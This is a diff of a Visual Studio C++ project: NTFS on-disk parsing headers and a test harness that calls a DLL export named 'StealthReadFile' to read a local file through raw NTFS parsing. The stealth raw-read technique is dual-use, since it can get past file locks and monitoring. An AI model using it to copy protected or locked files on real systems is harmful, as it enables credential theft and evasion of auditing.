{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|x64.Build.0 = Debug|x64
|
||||
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|Win32.Build.0 = Release|Win32
|
||||
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|x64.ActiveCfg = Release|x64
|
||||
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,28 @@
|
||||
/*
|
||||
* NTFS include files
|
||||
*
|
||||
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
|
||||
#ifndef __NTFS_H_CYB70289
|
||||
#define __NTFS_H_CYB70289
|
||||
|
||||
#pragma pack(8)
|
||||
|
||||
#include "NTFS_Common.h"
|
||||
#include "NTFS_FileRecord.h"
|
||||
#include "NTFS_Attribute.h"
|
||||
|
||||
#pragma pack()
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,49 @@
|
||||
/*
|
||||
*
|
||||
* Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
//
|
||||
// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com>
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "NTFS.h"
|
||||
#include "NTFS_Attribute.h"
|
||||
#include "NTFS_Common.h"
|
||||
#include "NTFS_DataType.h"
|
||||
#include "NTFS_FileRecord.h"
|
||||
|
||||
using namespace std;
|
||||
|
||||
typedef DWORD (CDECL *StealthReadFile_Func)(string, BYTE*, DWORD, ULONGLONG, DWORD*, ULONGLONG*);
|
||||
|
||||
int _tmain(int argc, _TCHAR* argv[])
|
||||
{
|
||||
HMODULE parserDLLHandle = LoadLibraryA("NTFSParserDLL.dll");
|
||||
HANDLE procAddress = GetProcAddress(parserDLLHandle, "StealthReadFile");
|
||||
|
||||
StealthReadFile_Func StealthReadFile = (StealthReadFile_Func)procAddress;
|
||||
|
||||
DWORD buffSize = 1024*1024;
|
||||
BYTE* buffer = new BYTE[buffSize];
|
||||
DWORD bytesRead = 0;
|
||||
ULONGLONG bytesLeft = 0;
|
||||
DWORD ret = StealthReadFile("c:\\test\\test.txt", buffer, buffSize, 0, &bytesRead, &bytesLeft);
|
||||
|
||||
cout << "Return value: " << ret << endl;
|
||||
|
||||
ofstream myFile("c:\\test\\test2.txt", ios::out | ios::binary);
|
||||
myFile.write((char*)buffer, bytesRead);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,165 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{2F38A7A9-D810-451B-BB19-273770AF4D25}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>NTFSParser</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>NotSet</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>NotSet</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="NTFS.h" />
|
||||
<ClInclude Include="NTFS_Attribute.h" />
|
||||
<ClInclude Include="NTFS_Common.h" />
|
||||
<ClInclude Include="NTFS_DataType.h" />
|
||||
<ClInclude Include="NTFS_FileRecord.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="NTFSParser.cpp" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,51 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="NTFS.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="NTFS_Attribute.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="NTFS_Common.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="NTFS_DataType.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="NTFS_FileRecord.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="NTFSParser.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,317 @@
|
||||
/*
|
||||
* NTFS Class common definitions
|
||||
*
|
||||
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
|
||||
#ifndef __NTFS_COMMON_H_CYB70289
|
||||
#define __NTFS_COMMON_H_CYB70289
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include <crtdbg.h>
|
||||
|
||||
#include "NTFS_DataType.h"
|
||||
|
||||
#define ATTR_NUMS 16 // Attribute Types count
|
||||
#define ATTR_INDEX(at) (((at)>>4)-1) // Attribute Type to Index, eg. 0x10->0, 0x30->2
|
||||
#define ATTR_MASK(at) (((DWORD)1)<<ATTR_INDEX(at)) // Attribute Bit Mask
|
||||
|
||||
// Bit masks of Attributes
|
||||
#define MASK_STANDARD_INFORMATION ATTR_MASK(ATTR_TYPE_STANDARD_INFORMATION)
|
||||
#define MASK_ATTRIBUTE_LIST ATTR_MASK(ATTR_TYPE_ATTRIBUTE_LIST)
|
||||
#define MASK_FILE_NAME ATTR_MASK(ATTR_TYPE_FILE_NAME)
|
||||
#define MASK_OBJECT_ID ATTR_MASK(ATTR_TYPE_OBJECT_ID)
|
||||
#define MASK_SECURITY_DESCRIPTOR ATTR_MASK(ATTR_TYPE_SECURITY_DESCRIPTOR)
|
||||
#define MASK_VOLUME_NAME ATTR_MASK(ATTR_TYPE_VOLUME_NAME)
|
||||
#define MASK_VOLUME_INFORMATION ATTR_MASK(ATTR_TYPE_VOLUME_INFORMATION)
|
||||
#define MASK_DATA ATTR_MASK(ATTR_TYPE_DATA)
|
||||
#define MASK_INDEX_ROOT ATTR_MASK(ATTR_TYPE_INDEX_ROOT)
|
||||
#define MASK_INDEX_ALLOCATION ATTR_MASK(ATTR_TYPE_INDEX_ALLOCATION)
|
||||
#define MASK_BITMAP ATTR_MASK(ATTR_TYPE_BITMAP)
|
||||
#define MASK_REPARSE_POINT ATTR_MASK(ATTR_TYPE_REPARSE_POINT)
|
||||
#define MASK_EA_INFORMATION ATTR_MASK(ATTR_TYPE_EA_INFORMATION)
|
||||
#define MASK_EA ATTR_MASK(ATTR_TYPE_EA)
|
||||
#define MASK_LOGGED_UTILITY_STREAM ATTR_MASK(ATTR_TYPE_LOGGED_UTILITY_STREAM)
|
||||
|
||||
#define MASK_ALL ((DWORD)-1)
|
||||
|
||||
#define NTFS_TRACE(t1) _RPT0(_CRT_WARN, t1)
|
||||
#define NTFS_TRACE1(t1, t2) _RPT1(_CRT_WARN, t1, t2)
|
||||
#define NTFS_TRACE2(t1, t2, t3) _RPT2(_CRT_WARN, t1, t2, t3)
|
||||
#define NTFS_TRACE3(t1, t2, t3, t4) _RPT3(_CRT_WARN, t1, t2, t3, t4)
|
||||
#define NTFS_TRACE4(t1, t2, t3, t4, t5) _RPT4(_CRT_WARN, t1, t2, t3, t4, t5)
|
||||
|
||||
// User defined Callback routines to process raw attribute data
|
||||
// Set bDiscard to TRUE if this Attribute is to be discarded
|
||||
// Set bDiscard to FALSE to let CFileRecord process it
|
||||
typedef void (*ATTR_RAW_CALLBACK)(const ATTR_HEADER_COMMON *attrHead, BOOL *bDiscard);
|
||||
|
||||
// User defined Callback routine to handle CFileRecord parsed attributes
|
||||
// Will be called by CFileRecord::TraverseAttrs() for each attribute
|
||||
// attrClass is the according attribute's wrapping class, CAttr_xxx
|
||||
// Set bStop to TRUE if don't want to continue
|
||||
// Set bStop to FALSE to continue processing
|
||||
class CAttrBase;
|
||||
typedef void (*ATTRS_CALLBACK)(const CAttrBase *attr, void *context, BOOL *bStop);
|
||||
|
||||
// User defined Callback routine to handle Directory traversing
|
||||
// Will be called by CFileRecord::TraverseSubEntries for each sub entry
|
||||
class CIndexEntry;
|
||||
typedef void (*SUBENTRY_CALLBACK)(const CIndexEntry *ie);
|
||||
|
||||
|
||||
// List Entry
|
||||
template <class ENTRY_TYPE>
|
||||
struct NTSLIST_ENTRY
|
||||
{
|
||||
NTSLIST_ENTRY *Next;
|
||||
ENTRY_TYPE *Entry;
|
||||
};
|
||||
|
||||
// List Entry Smart Pointer
|
||||
template <class ENTRY_TYPE>
|
||||
class CEntrySmartPtr
|
||||
{
|
||||
public:
|
||||
CEntrySmartPtr(ENTRY_TYPE *ptr = NULL)
|
||||
{
|
||||
EntryPtr = ptr;
|
||||
}
|
||||
|
||||
virtual ~CEntrySmartPtr()
|
||||
{
|
||||
if (EntryPtr)
|
||||
delete EntryPtr;
|
||||
}
|
||||
|
||||
private:
|
||||
const ENTRY_TYPE *EntryPtr;
|
||||
|
||||
public:
|
||||
__inline CEntrySmartPtr<ENTRY_TYPE> operator = (const ENTRY_TYPE* ptr)
|
||||
{
|
||||
// Delete previous pointer if allocated
|
||||
if (EntryPtr)
|
||||
delete EntryPtr;
|
||||
|
||||
EntryPtr = ptr;
|
||||
|
||||
return *this;
|
||||
}
|
||||
|
||||
__inline const ENTRY_TYPE* operator->() const
|
||||
{
|
||||
_ASSERT(EntryPtr);
|
||||
return EntryPtr;
|
||||
}
|
||||
|
||||
__inline BOOL IsValid() const
|
||||
{
|
||||
return EntryPtr != NULL;
|
||||
}
|
||||
};
|
||||
|
||||
//////////////////////////////////////
|
||||
// Single list implementation
|
||||
//////////////////////////////////////
|
||||
template <class ENTRY_TYPE>
|
||||
class CSList
|
||||
{
|
||||
public:
|
||||
CSList()
|
||||
{
|
||||
ListHead = ListTail = NULL;
|
||||
ListCurrent = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
|
||||
virtual ~CSList()
|
||||
{
|
||||
RemoveAll();
|
||||
}
|
||||
|
||||
private:
|
||||
int EntryCount;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListCurrent;
|
||||
|
||||
public:
|
||||
// Get entry count
|
||||
__inline int GetCount() const
|
||||
{
|
||||
return EntryCount;
|
||||
}
|
||||
|
||||
// Insert to tail
|
||||
BOOL InsertEntry(ENTRY_TYPE *entry)
|
||||
{
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
|
||||
if (!le)
|
||||
return FALSE;
|
||||
|
||||
le->Entry = entry;
|
||||
le->Next = NULL;
|
||||
|
||||
if (ListTail == NULL)
|
||||
ListHead = le; // Empty list
|
||||
else
|
||||
ListTail->Next = le;
|
||||
|
||||
ListTail = le;
|
||||
|
||||
EntryCount++;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Remove all entries
|
||||
void RemoveAll()
|
||||
{
|
||||
while (ListHead)
|
||||
{
|
||||
ListCurrent = ListHead->Next;
|
||||
delete ListHead->Entry;
|
||||
delete ListHead;
|
||||
|
||||
ListHead = ListCurrent;
|
||||
}
|
||||
|
||||
ListHead = ListTail = NULL;
|
||||
ListCurrent = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
|
||||
// Find first entry
|
||||
__inline ENTRY_TYPE *FindFirstEntry() const
|
||||
{
|
||||
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListHead;
|
||||
|
||||
if (ListCurrent)
|
||||
return ListCurrent->Entry;
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Find next entry
|
||||
__inline ENTRY_TYPE *FindNextEntry() const
|
||||
{
|
||||
if (ListCurrent)
|
||||
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListCurrent->Next;
|
||||
|
||||
if (ListCurrent)
|
||||
return ListCurrent->Entry;
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Throw all entries
|
||||
// Caution! All entries are just thrown without free
|
||||
__inline void ThrowAll()
|
||||
{
|
||||
ListHead = ListTail = NULL;
|
||||
ListCurrent = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
}; //CSList
|
||||
|
||||
|
||||
//////////////////////////////////////
|
||||
// Stack implementation
|
||||
//////////////////////////////////////
|
||||
template <class ENTRY_TYPE>
|
||||
class CStack
|
||||
{
|
||||
public:
|
||||
CStack()
|
||||
{
|
||||
ListHead = ListTail = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
|
||||
virtual ~CStack()
|
||||
{
|
||||
RemoveAll();
|
||||
}
|
||||
|
||||
private:
|
||||
int EntryCount;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
|
||||
|
||||
public:
|
||||
// Get entry count
|
||||
__inline int GetCount() const
|
||||
{
|
||||
return EntryCount;
|
||||
}
|
||||
|
||||
// Insert to head
|
||||
BOOL Push(ENTRY_TYPE *entry)
|
||||
{
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
|
||||
if (!le)
|
||||
return FALSE;
|
||||
|
||||
le->Entry = entry;
|
||||
le->Next = ListHead;
|
||||
|
||||
ListHead = le;
|
||||
|
||||
if (ListTail == NULL)
|
||||
ListTail = le; // Empty list
|
||||
|
||||
EntryCount ++;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Remove from head
|
||||
ENTRY_TYPE* Pop()
|
||||
{
|
||||
if (ListHead == NULL)
|
||||
return NULL;
|
||||
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *le = ListHead;
|
||||
ENTRY_TYPE *e = le->Entry;
|
||||
|
||||
if (ListTail == ListHead)
|
||||
ListTail = ListHead->Next;
|
||||
ListHead = ListHead->Next;
|
||||
|
||||
delete le;
|
||||
EntryCount --;
|
||||
|
||||
return e;
|
||||
}
|
||||
|
||||
// Remove all entries
|
||||
void RemoveAll()
|
||||
{
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *le;
|
||||
|
||||
while (ListHead)
|
||||
{
|
||||
le = ListHead->Next;
|
||||
delete ListHead->Entry;
|
||||
delete ListHead;
|
||||
|
||||
ListHead = le;
|
||||
}
|
||||
|
||||
ListHead = ListTail = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
}; //CStack
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,380 @@
|
||||
/*
|
||||
* NTFS data structures and definitions
|
||||
*
|
||||
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
|
||||
#ifndef __NTFS_DATATYPE_H_CYB70289
|
||||
#define __NTFS_DATATYPE_H_CYB70289
|
||||
|
||||
// NTFS Boot Sector BPB
|
||||
|
||||
#define NTFS_SIGNATURE "NTFS "
|
||||
|
||||
#pragma pack(1)
|
||||
typedef struct tagNTFS_BPB
|
||||
{
|
||||
// jump instruction
|
||||
BYTE Jmp[3];
|
||||
|
||||
// signature
|
||||
BYTE Signature[8];
|
||||
|
||||
// BPB and extended BPB
|
||||
WORD BytesPerSector;
|
||||
BYTE SectorsPerCluster;
|
||||
WORD ReservedSectors;
|
||||
BYTE Zeros1[3];
|
||||
WORD NotUsed1;
|
||||
BYTE MediaDescriptor;
|
||||
WORD Zeros2;
|
||||
WORD SectorsPerTrack;
|
||||
WORD NumberOfHeads;
|
||||
DWORD HiddenSectors;
|
||||
DWORD NotUsed2;
|
||||
DWORD NotUsed3;
|
||||
ULONGLONG TotalSectors;
|
||||
ULONGLONG LCN_MFT;
|
||||
ULONGLONG LCN_MFTMirr;
|
||||
DWORD ClustersPerFileRecord;
|
||||
DWORD ClustersPerIndexBlock;
|
||||
BYTE VolumeSN[8];
|
||||
|
||||
// boot code
|
||||
BYTE Code[430];
|
||||
|
||||
//0xAA55
|
||||
BYTE _AA;
|
||||
BYTE _55;
|
||||
} NTFS_BPB;
|
||||
#pragma pack()
|
||||
|
||||
|
||||
// MFT Indexes
|
||||
#define MFT_IDX_MFT 0
|
||||
#define MFT_IDX_MFT_MIRR 1
|
||||
#define MFT_IDX_LOG_FILE 2
|
||||
#define MFT_IDX_VOLUME 3
|
||||
#define MFT_IDX_ATTR_DEF 4
|
||||
#define MFT_IDX_ROOT 5
|
||||
#define MFT_IDX_BITMAP 6
|
||||
#define MFT_IDX_BOOT 7
|
||||
#define MFT_IDX_BAD_CLUSTER 8
|
||||
#define MFT_IDX_SECURE 9
|
||||
#define MFT_IDX_UPCASE 10
|
||||
#define MFT_IDX_EXTEND 11
|
||||
#define MFT_IDX_RESERVED12 12
|
||||
#define MFT_IDX_RESERVED13 13
|
||||
#define MFT_IDX_RESERVED14 14
|
||||
#define MFT_IDX_RESERVED15 15
|
||||
#define MFT_IDX_USER 16
|
||||
|
||||
|
||||
/******************************
|
||||
File Record
|
||||
---------------------
|
||||
| File Record Header|
|
||||
---------------------
|
||||
| Attribute 1 |
|
||||
---------------------
|
||||
| Attribute 2 |
|
||||
---------------------
|
||||
| ...... |
|
||||
---------------------
|
||||
| 0xFFFFFFFF |
|
||||
---------------------
|
||||
